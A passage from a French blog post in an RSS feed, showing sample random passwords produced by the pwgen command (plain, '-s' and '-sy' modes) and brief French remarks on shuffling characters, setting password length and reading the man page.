ieJah6de Nool6ael lahd6Pau dooc9Ach nai4Ther Iegahzu7 Roop2tha iiViG4pa
Chaeb1qu Ie0ohxis hohz9Aiw UeYae4Ae uthae6Ga veeCho9o Vo0shait aiShue1h
ieX8geen Auyeix9t OBeb0pae Cah0Ooqu aeG7nooV Ohpu5aic UaTh7eem Fakex4hu
vei7oNgu doc0Fi5J xahFel6r AeK5ing0 xaX6ahBu Coo7Quoh Aghu7lah xec9IeLu
ae1phiaR aem5Auy6 ebohP0ta FieGh3ee ki8QuaoN fahvev6R Aezil9Th aeVeex3f
aeh6eeTe ohR6Ahfi IoV4WaCh EeSah9Oo eeg2Wae8 Eeh5phee eiraGeu0 Owe5thah
Oa0eaqui iaV8joiw yoF1ueF9 Nee3Athi ooW3Noet uphai8Ai Eedoi2ch ao2Eich4
Chie3voo vexae9UR ri4en4Ai ig9ohDaZ iej1iRae Iechee6i uiS3geim zi0ee1Qu
Co5ahcoh Ahyai2ga eiw7ahCa Phier3ie Thoocai3 fieY0xeo aeNei2ei xieb2Cha
Le1oep5e oavohn8E ahbeeM5i Aedeif7i Ohth4Fai Uo4gaevu BeFohch3 iePu9aem
choh6zaY facoo0Na Ug5noh7z fet8ahS8 lanohl0H eiW5dahY Miex1Cey iPeew0Ai
Ooxae1Co Fa4ioz9w ooyaip1A tei6Pae7 eefaeX6J tahWoh6l quee0eeZ gooD0uDu
iev9aeS8 Deb7Iez1 tii8LaVi BuJoon3g eePeghe7 Cee8kahn Ru3rosho baiph2Iu
bahg1eiG vi8aeTho eequ7Voe Xi4oocha raij8aeJ Oe7heGhu Jae4iz1U Ineem3ie
koh1oiPh Bo9xi9Qu Ash5Aisu IeVuiph4 ul8fePoo Aaphe1ru eiWeim1v NuN7xira
uwe0Iexa ahBu9aiv Suu0aexi haiz2Eem eiC3phuh eingo1Cu Aibek8Ta Theiha2I
feP8poir id1ib5Ah Aib2Eish Ahk8cheu Woo7cha3 hahX4pai shiu2uYi Oobiev6E
euf7le8I Vaa2ao4w dah1Ieja pi4OaPuu Aeroh9th thue7Gu5 Aivu3Nah loo9le9E</pre>
<pre>$ pwgen -s
ji3f2Nvp chK36N5w yn7toyvP 3997nLrJ nzFqz14R 9dnkBHYL 9zF2zVQr T1psPkYX
nMNvbMU1 wz1xYluN z9D62kI0 ycZGb5a7 rKMj0W7P NNih1iC2 2TFeDTO1 ul0gKW9G
tplaj4Fg 9SAjOAdn b2KpUY4c M3G5lwAr 9mWUV61M iV41jedC vSFaeM91 PRy5zUuT
0oJIC3Va Qqzkc1gv je4Q2Meg dk0rVKiG oeBAo89G a7vgS7NZ evyG65d4 416FPnAO
94u4ShlL 4WvBDdsG b7ojJyo9 ZiQQO0wf B10gsyBQ jGPT5gw7 R8Vx6Fsb BjO6KzpN
Bj3mHgWs 4YGekJBa 6zVsqVxF sD4hphne ksucD8gt COU5FRCI BBkU9PQt oT7d90Ns
NSmKs5Jl USBtPA1Z oRTb1vl6 79Mn84dv QwGG1utJ HPZTHd1B zww6ZPif 9uIj6bme
GdE4BjN9 oB4VcrWQ 2TlAJuE6 52JMMxcx IsYoIj3g GWyL24vZ sv5dwT48 QrQTz5Xb
KnKtVDY9 5mW6B30b 6RPgdzOp Raes1DgQ Njv3rOyR u4pwGpGl s9hnUdVA WKR4IjQE
g72s3Okb J2IbdUWy 5LNfmINq 0QMAnPGx zTSbMK7h ic0qQhf6 OCB8mQ1p pxGhQ8Ps
wN0GjxDs seW9ricu 3DmdZUbJ lQF9rFWZ dvIC4RM4 CuUWo6k5 rdA4QByG wpHI2BSU
bvvSF2dz y6205hA5 7zGpRspW hn1E4HCh 1lJlhL2P g0niR3c9 dPByI3PG AtRm1bSV
I1Hs5Cg3 8CRJvebA jxh8jpAU x9828wlW 6KBcByOt orl3QmoL 6pYIHB7c MALID6LD
36KiInPB 5f2DLzhj iRB9AHah GUCn2Tzq aJ0ZiDy0 nizXx6SI dCEO0fvw Q5fMf08t
HmZVQd25 EIiKnbb4 AQun8igX 88TRMsB6 R1g0hL7D QPTRCH1V hs14l8C1 xVKhN5MD
sU5N2N4n tS7iB8jK 5Vcq8XrN GvT2bF5X hZS2jZpB vMI2ZxhC GXaYX5JV h5enQ53C
aKSh3ZGm QCxe8dT0 XI38fqmZ u0vA31e7 3wdaV3OF e98PZcs4 Bu7SceCn Pgkq0q2K
j71AznCc pNtp5VoC N2m1RNBn Opa4CrMl P3IFuG6s iuNhtTm3 k3jehDmQ TyG5kBdo
03eqXAB1 Dez29MWr ZZRRI0oh 1KC7CD3H 8Q6VMn5d b9DO8B1o 3M36hgOf N3JWSJIn
xXmfe86X FjCSO4bI w5BvyCZS rDB4aOPK H8hvo7M1 svWnLX2x Mglqr0yA udo253ND</pre>
<pre>$ pwgen -sy
TFKS^;4v y$@5i6CH !4?]G]Tf $E\&lt;90z? ^'z5c+BH 9E&gt;aS@(} qP,:Z2.K ]*7db:W:
\x7Nv9/X Q&#038;ry9yw6 9ur]=_V0 5-ea/3Tk MQ}jS4H3 1|r\TX%? PnI9!+T* ;I#36=)%
}_(@D7~E hRt0f?3p 7$XQG]j= '7/n7`X: |Byz#93A 4kR4'vw1 %j!f{5WL 7p{xmH?e
,jCt0nXH LSI[T1Z% ViF+O&gt;5v 5(Ooaa%+ p@%Bs9dl DUv@HjB7 oH4q*h*0 +4?B,?a#
x9C4(/]" 9H(||&gt;"8 k"gKzz5} B@W8s#dW \J9]j7l] 3O@;~{vM RNQ'g2M6 &gt;ZQ}E1[]
%3t"i^aK Wp!1(Jw% }0RQ!y\E ~)(0L4.' p@|9uLZO q%%0n#L: ._9AgN}K s[vK?Fi8
vtPgD?~7 Q(&gt;NZ"6j -ADl[88, '+FQj\g6 &lt;,zS(N[2 v9_HEyc: %i5%B!d5 _BA36*Y$
]vS8N!YG 9v'-Dmd3 QQ1;@Zq/ X-3ov/!T Fi%+QI~2 #GY5~&gt;V$ O}T!N8z# 8Gm/-'Al
gM\(bt3\ Ur[D7:I+ dZx@:&lt;5r &gt;^*IKAG2 StTJ3.2! a~FBKB6@ )r-&gt;m5Ia ui;7Uy*/
9x]jD;&gt;p X6#TV*at 8koi'YTc N9jYz&#038;qC nC}9xy#; oyGvr*d4 Oh1}s.mI T$q5htKG
m\o}-6Ex 952Np-ly |vO9T\${ 6u3V)~H" R0fq6T3# [QJTM^a3 7y\M[|2j "s\4U}Hv
:Br^T4_G wKi8,,\_ q;+3K"&#038;{ W1kp`q7&#038; 0Ps?Gq#) cRQ5jnl| ;i6rMWbf [D&lt;4~|Gb
`W_c)/7p A:H,4g2; U?Q{sB4, HMED&gt;2`) .-,9Mlhk *9I\nYH/ bDb`(&#038;,7 x8sLE.G[
F&gt;(.'o0s J\N-0h=&lt; Vrk0W2,n (M3vAm,S rs&#038;ZKgD5 @:a$8N*5 9qm|BZiq {o&#038;3qK`A
-R2/qwg? 3D&gt;{\Y&#038;| s2Bc!]bD tAfJ_1GS \7F[mWJK E#(7zIW@ )RT7lrG) !rzI4Gwn
.0AE=J"| z8Z]b%|N "$4,7X,p +j}!'Ui6 o%W$L/3{ n#+Rf`P9 x3q"Bd($ ""Xmh6S?
@:3T=z~A E+IFC`2C 5;YG]&#038;/] ,1@!&lt;*Qt &lt;2Y8A4a@ ;5fOO0{B 7Prjv$Ms 2'g!6!3T
9r")N*J; z=K'75=! p|0K]&#038;e&lt; {l5kvqL{ (mG4?0xt p5&gt;F&gt;)D5 j69;T^Jv ;.6sLj5?
qH;1&lt;6Cq 7M+olge; \^n,S7B, @}^7Z]u@ 62__*C6b BNDnB)1@ xr^qwE7C a2'V*S&lt;0
5&#038;dk?QN9 W0x(}QPE ~-6i-ufZ ik|v#s9L 6xdgc2Y= 7kcS#}if PG1}MI6V u(29L/?}</pre>
<p>Les plus paranos pourront également changer des caractères des mots de passes générés, ou les mélanger entre eux (afin d&#8217;éviter qu&#8217;un bug de <code>pwgen</code> ne provoque une baisse de sécurité).</p>
<p>Il est également possible de passer en paramètre la longueur des mots de passe que l&#8217;on veut générer.</p>
<p>Pour le reste&nbsp;: <code>man pwgen</code>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2009/11/generer-des-mots-de-passe-aleatoires/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

